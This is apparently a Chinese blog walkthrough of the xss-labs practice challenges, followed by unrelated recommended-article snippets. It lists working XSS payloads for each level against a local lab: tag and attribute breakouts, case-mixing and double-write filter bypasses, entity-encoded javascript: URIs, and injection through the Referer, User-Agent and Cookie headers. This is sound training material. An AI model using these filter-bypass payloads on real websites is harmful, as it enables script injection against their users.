xss-labs

2023-11-01

一、测试过滤的代码:

1、引号;

2、标签;

3、属性;

4、实体编号;

' " <scRipt> <a> <Iframe> HrEf daTa oNcliCk &#x61

二、实战代码:

1、Less-1

http://www.xss.com:539/level1.php?name=<script> alert('ww') </script>

2、Less-2

http://www.xss.com:539/level2.php?keyword="><script> alert(1) </script>
// 对于 input() 标签,在标签内无法执行javascript代码,所以在注入时要先闭合input()标签
// 也可以插入其它标签
http://127.0.0.1:539/level2.php?keyword="> <p onclick="alert(1)">123</p> o

3、Less-3

原标签为:<input name=keyword  value=''>
         <input name=keyword  value='' onclick=javascript:alert('ww') '>
闭合标签后,最后一个单引号的位置处要注意,不能与javascript语句接触
(1)要留出一个空格的位置(但是这在浏览器的表单中不太容易做到,直接上传space键无法留下空格符),
可以使用很多方法来预留空格符,不一定是要单引号,就算是个普通字母也行
(2)使用 // ,这可以起到空格键的作用
一、鼠标事件
1、http://www.xss.com:539/level3.php?keyword=' onclick=javascript:alert() '
2、http://www.xss.com:539/level3.php?keyword=' onblur=javascript:alert() o
3、http://127.0.0.1:539/level3.php?keyword=' onfocus=javascript:alert('ww')//
4、http://127.0.0.1:539/level3.php?keyword=' onmouseover=javascript:alert('ww')//
5、http://127.0.0.1:539/level3.php?keyword=' onmouseout=javascript:alert('ww')//
6、http://127.0.0.1:539/level3.php?keyword=' onkeydown=javascript:alert('ww')//
7、http://127.0.0.1:539/level3.php?keyword=' onkeyup=javascript:alert('ww')//

4、Less-4

http://127.0.0.1:539/level4.php?keyword=" onclick=alert('ww') o

5、Less-5

//若 script 标签被过滤,on 字符被过滤,可以使用 a 标签的 href 属性
http://127.0.0.1:539/level5.php?keyword="><a href=javascript:alert(1)>123</a> o

6、Less-6

// 大小写绕过
http://127.0.0.1:539/level6.php?keyword="><sCript> alert(1) </ScrIpt>
http://127.0.0.1:539/level6.php?keyword=" oNclick=alert(1) o
http://127.0.0.1:539/level6.php?keyword="> <a Href=javascript:alert(1)>111</a>

7、Less-7

// 双写绕过
http://127.0.0.1:539/level7.php?keyword="><scscriptript> alert(1) </scriscriptpt>

8、Less-8

注意:实体编码在经过函数 htmlspecialchars() 后就不能用了;

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

9、Less-9

(1)&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;/*http://*/
(2)&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

10、Less-10

http://127.0.0.1:539/level10.php?keyword=1&t_sort=" onclick=alert(1) type=text

11、Less-11

(1)使用 hackbar 的 Referer 参数进行注入:

 (2)使用 burpsuite 添加 Referer 字段进行注入:

由:
GET /level11.php?keyword=good%20job! HTTP/1.1
Host: 127.0.0.1:539
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?

改为:
GET /level11.php?keyword=good%20job! HTTP/1.1
Host: 127.0.0.1:539
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: " onclick=alert(1) type=text
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?

12、同 Less-11 ,对 User-Agent 字段进行注入,可以使用 hackbar ,也可以使用 burpsuite;

13、同 Less-12,对 Cookie 字段进行注入,可以使用 hackbar ,也可以使用 burpsuite;

14、上传图片文件,鼠标右击图片,可以更改文件属性等信息,更改为 xss 注入的代码,即可;

" onclick=alert(1) 

15、Less-15:

(1)ng-include:指定外部html文件

  • ng-include,如果单纯指定地址,必须要加引号
  • ng-include,加载外部html,script标签中的内容不执行,不能加载,如果需要控制器处理需要在主页中注册

(2)可以绕过 htmlspecialchars( ) 函数的实体化:我的理解是它会先执行外部导入的 html 文件,而在执行文件内容的时候是没有对注入内容进行实体化操作的,所以可以实现绕过;

//(1)不能使用 <script> 标签,它不会执行
//(2)要加引号来把地址内容包含起来
http://127.0.0.1:539/level15.php?src='/level1.php?name=<a href=javascript:alert(1)>111</a>'

16、Less-16:进行空格符绕过的时候,我测试这关只有 %0a 和 %0c 可行;

(1)http://127.0.0.1:539/level16.php?keyword=<svg%0aonload=alert(1)>
(2)http://127.0.0.1:539/level16.php?keyword=<svg%0conload=alert(1)>

17、Less-17:<embed> 标签,加载插件或图片;

// 正常使用:若插件或图片地址存在 get 参数,在书写注入内容前要把 get 参数闭合
<embed src=1.jpg?a=b onclick=alert(1)>

// 关卡内容
<embed src=index.png?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>

// 所以注入代码必须要先用 arg01 和 arg02 的值把 get 参数内容进行闭合,然后用空格符隔开后进行注入
http://127.0.0.1:539/level17.php?arg01=a&arg02=b onmouseover=alert(1)

18、Less-18:同Less-17

19、20、flush xss 很少见了,而且涉及反编译,暂且不提;

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

xss-labs 的相关文章

  • chrome浏览器无法在地址栏输入内容搜索问题解决--图文

    关于日常遇到的小问题解决记录一下 1 导航栏录入信息后跳转错误 2 解决办法 默认百度搜索引擎地址错误 百度正确的搜索格式是 http www baidu com s wd s chrome浏览器中百度的搜索格式是 http www bai
  • 你的服务器还安全吗?用户数据是否面临泄露风险?

    一系列严重的网络安全事件引起了广泛关注 多家知名公司的服务器遭到黑客挟持 用户的个人数据和敏感信息面临泄露的风险 这些事件揭示了网络安全的脆弱性和黑客攻击的威胁性 提醒着企业和个人加强对网络安全的重视 一 入侵案例 1 1 蔚来数据泄露 1
  • 考虑光伏出力利用率的电动汽车充电站能量调度策略研究(Matlab代码实现)

    欢迎来到本博客 博主优势 博客内容尽量做到思维缜密 逻辑清晰 为了方便读者 座右铭 行百里者 半于九十 本文目录如下 目录 1 概述 2 运行结果 3 参考文献 4 Matlab代码 数据
  • 为什么这么多人自学黑客,但没过多久就放弃了(掌握正确的网络安全学习路线很重要)

    网络安全是一个 不断发展和演变 的领域 以下是一个 网络安全学习路线规划 旨在帮助初学者快速入门和提高自己的技能 基础知识 网络安全的 基础知识 包括 网络结构 操作系统 编程语言 等方面的知识 学习这些基础知识对理解网络安全的原理和技术至
  • 【js学习之路】遍历数组api之 `filter `和 `map`的区别

    一 前言 数组是我们在项目中经常使用的数据类型 今天我们主要简述作用于遍历数组的api filter 和 map 的区别 二 filter和map的共同点 首先 我们主要阐述一下 filter 和 map 的共同点 api的参数都是回调函数
  • 深入解析 YAML 配置文件:从语法到最佳实践

    一 认识YAML YAML YAML Ain t Markup Language 是一种人类可读的数据序列化语言 它的设计目标是使数据在不同编程语言之间交换和共享变得简单 YAML采用了一种简洁 直观的语法 以易于阅读和编写的方式表示数据结
  • 获取年与年之间的所有年份

    function getYearsBetween startYear endYear var years 存放结果的数组 for var year startYear year lt endYear year years push year
  • 网络安全行业热门认证证书合集

    网络安全认证证书 就和学历一样是敲门砖 拿到了可以用不到 但不能没有 技术大牛可以没有证书 但普通人不能没有 1 初级入门 就像学历在职场上展示一个人的基本素养一样 网络安全认证证书可以展示一个人在网络安全领域具备的基本知识和技能 它为初学
  • V-html只用于文本,安全吗?

    我现在在关于原始 HTML 的 Vue 文档 https v2 vuejs org v2 guide syntax html Raw HTML说明我们可以使用v html渲染一些内部 html 我承认这是合法且最简单的技巧 但由于我很担心
  • 是否需要验证或转义jsonp回调字符串

    我有一个名为 action php 的文件 它将执行一些操作 我想将其公开为纯 JSON 或 JSONP 输出 用户将使用如下 URL 来调用它 action php jsonp callback 在我的action php中我正在做这样的
  • 在没有脚本标签的情况下执行 XSS JavaScript

    我正在学习 XSS 出于道德目的 我想知道如何在不使用
  • 上的 XSS 数据 URI 是否可被利用?

    读完这篇文章后 我没有一个明确的答案 http palizine plynt com issues 2010Oct bypass xss filters http palizine plynt com issues 2010Oct bypa
  • 我应该采取哪些预防措施来防止用户提交的 HTML 出现 XSS?

    我计划制作一个网络应用程序 允许用户在我的网站上发布整个网页 我正在考虑使用HTML 净化器 http htmlpurifier org 但我不确定 因为 HTML Purifier 会编辑 HTLM 并且 HTML 的发布方式保持不变非常
  • HTML 和属性编码

    我遇到了一个发表在 Meta SO 上 https meta stackexchange com questions 104230 attack of the double encoded hellip part n我很好奇未编码和编码的
  • PHP XSS 预防白名单

    我的网站使用所见即所得编辑器 供用户更新帐户 输入评论和发送私人消息 编辑器 CKEditor 非常适合只允许用户输入有效的输入 但我担心通过 TamperData 或其他方式注入 我如何在服务器端控制这个 我需要将特定标签列入白名单 b
  • 谁能解释一下这些 XSS 测试字符串吗?

    最近我发现了这个关于 XSS 和 Web 应用程序安全的教程 gt https www owasp org index php XSS Filter Evasion Cheat Sheet XSS Locator https www owa
  • CodeIgniter - 为什么使用 xss_clean

    如果我正在清理我的数据库插入 并且还转义我编写的 HTMLhtmlentities text ENT COMPAT UTF 8 是否还需要使用 xss clean 过滤输入 它还有什么其他好处 xss clean http docs gip
  • 使用 CSP 防止自动点击链接 XSS 攻击

    当将 CSP 用于稍微不同的目的 沙箱 时 我意识到一个非常简单的自动点击链接似乎甚至可以绕过相对严格的 CSP 我所描述的内容如下 内容安全政策 default src none script src unsafe inline 还有身体
  • 防止XSS漏洞的措施(比如Twitter前几天的一个)

    就连Twitter这样的知名网站也存在XSS漏洞 我们应该如何预防这种攻击呢 您可以做的第一件事是将您的 cookie 设置为仅 HTTP 这至少可以防止会话 cookie 劫持 就像当您可能是自己网站的管理员时有人窃取您的 cookie
  • 是否可以通过样式表进行跨域攻击?

    我需要为我的 Web 应用程序的用户创建的网页实现灵活的样式系统 理想情况下 我希望允许他们使用 CSS 正在链接到用户定义的 url 处的样式表Bad Idea Why 可以安全地做到这一点吗 您对此有何看法 我试图避免构建样式 编辑器

随机推荐

  • 自然语言处理入门指北 之 one-hot

    自然语言 Natural Language 通常是指一种自然地随文化演化的语言 例如 汉语 英语 日语都是自然语言的例子 与编程语言等为计算机而设的 人造 语言相对 自然语言无法直接被计算机等 理解 在这个前提下 如何让计算机认识 学习乃至
  • vue 的 el-table-infinite-scroll下拉加载

    使用el table infinite scroll 插件 安装插件 npm install save el table infinite scroll 全局引入并注册 main js import elTableInfiniteScrol
  • python基础:字典常用函数和方法

    字典 dictionary dict 字典的每个元素都是由一个key和一个value组成的 键 值 键是唯一的 且键是不可变数据类型 值是可以任意的 数据类型任意 且值可以重复 创建一个字典 dic aa aa的值 bb bb的值 cc c
  • Macbook M1和M2芯片安装Miniconda3、添加镜像和R的安装(超详细,解决PackagesNotFoundError,CondaSSLError: 报错问题)

    0 前言 前段时间由win换了Mac电脑 成功安装了一堆win上的软件 PS AI Office等等 因为之前win11上一直用的wsl2并装了miniconda3 体验感也是不错 就想着苹果电脑自家内置shell应该装个miniconda
  • 大脑视觉信号被Stable Diffusion复现图像!“人类的谋略和谎言不存在了”

    丰色 萧箫 发自 凹非寺量子位 公众号 QbitAI 现在Stable Diffusion已经能重建大脑视觉信号了 就在昨晚 一个听起来细思极恐的 AI读脑术 研究 在网上掀起轩然大波 这项研究声称 只需用fMRI 功能磁共振成像技术 相比
  • 华为OD真题2023新题库(机试通知上写着--A卷2022Q4)

    华为od最近又开始招人了 对于目前市场上行情来看 虽然去od加班可能多 但工资还是可以的 大环境不好都开始卷了 od对于目标院校机试成绩比较低150分 2023年好像又涨了 其他非目标院校350 wx外包300 当你收到邮件 试卷名称 A卷
  • 移动端UI兼容性测试利器-Hydra

    导读 尽管自动化测试技术日新月异 但是自动化case构建成本 执行稳定性等问题的存在 使手工测试依然移动端质量保证的重要手段 传统手工测试必须通过人工操作的方式执行测试用例 效率提升依赖测试人员的操作熟练度 本文从介绍百度内UI兼容性测试现
  • linux系统下nginx的安装

    文章目录 一 安装nginx依赖 二 下载并解压nginx安装包 三 安装nginx 四 配置环境变量 五 启动 六 浏览器访问 七 停止重启nginx 八 设置开机自启动nginx 九 防火墙设置 十 卸载nginx 一 安装nginx依
  • Quartz的12张数据库表说明

    参考地址 https www e learn cn en share 3471635 https blog csdn net xiaoniu 888 article details 83181078 表说明 1 1 qrtz blob tr
  • YOLOv5的介绍

    YOLOv5 You Only Look Once version 5 是一种目标检测模型 用于在视频或图像中识别和定位物体 它是YOLO You Only Look Once 算法的最新版本 在YOLOv4的基础上进行了改进 YOLOv5
  • java的几种基本数据类型及其大小

    Java中的四类八种基本数据类型 第一类 整数类型 byte short int long 第二类 浮点型 float double 第三类 逻辑型 boolean 它只有两个值可取true false 第四类 字符型 char 按照字节排
  • 《Python入门到精通》time模块详解,Python time标准库,time库函数大全

    作者主页 士别三日wyx 作者简介 CSDN top100 阿里云博客专家 华为云享专家 网络安全领域优质创作者 推荐专栏 小白零基础 Python入门到精通 time模块详解 1 获取操作 time time 获取时间戳 float ti
  • ionic android app打包和发布

    1 项目信息 angular 10 0 14 ionic 5 4 3 gradel 6 5 cordova 10 0 0 node 12 14 0 visual studio code 1 68 1 项目代码 http 192 168 1
  • Unity2D Mesh水

    学生一枚 买不起pro 也懒得破解 不能用unity自带的water组件做水 所以用LineRenderer Mesh Sin函数苟了一个 为什么不用shader做 因为用Mesh的方法更容易添加碰撞 浮力组件 表面效应组件的效果 用sha
  • Spring-全面详解(学习总结)

    Spring 1 简介 1 1 简介 简介 Spring 春天 gt 给软件行业带来了春天 2002年 Rod Jahnson首次推出了Spring框架雏形interface21框架 2004年3月24日 Spring框架以interfac
  • 2022FPGA创新设计竞赛选题分析与建议——写给大一大二学弟学妹

    0 写在最前 老师新带了几个大一大二的同学准备参加FPGA创新设计竞赛 他们不具备太多的参赛经验 往往专业知识也没有学太多 有一颗想参赛的心 却又茫然不知所措 因此 此文希望对于大一大二的科创萌新有所帮助 1 关于选题 1 1 选题分析 2
  • [网络工程师]-网络规划与设计-网络测试运行和维护(二)

    4 局域网测试 局域网测试主要是检验网络是否为应用系统提供了稳定 高效的网络平台 如果网络系统不够稳定 网络应用就不可能快速稳定 对于常规的以太网进行系统测试 主要包括系统连通性 链路传输速率 吞吐率 传输时延 丢包率及链路层健康状况测试等
  • 摸了好久,终于把linux中i2c的ioctl,write,read函数的使用弄懂了

    ioctl函数的使用 原型 struct ioctl struct file file unsigned int cmd unsigned long arg cmd有I2C SLAVE I2C SLAVE FORCE I2C TENBIT
  • 计算机毕业设计/计算机课程设计代码生成器

    计算机毕业设计 计算机课程设计代码生成器 生成器都能生成什么 C语言管理系统 c 管理系统 C 窗体各种管理系统 Javawing窗体各种管理系统 Javaweb servle jsp管理系统 Javaweb springboot html
  • xss-labs

    一 测试过滤的代码 1 引号 2 标签 3 属性 4 实体编号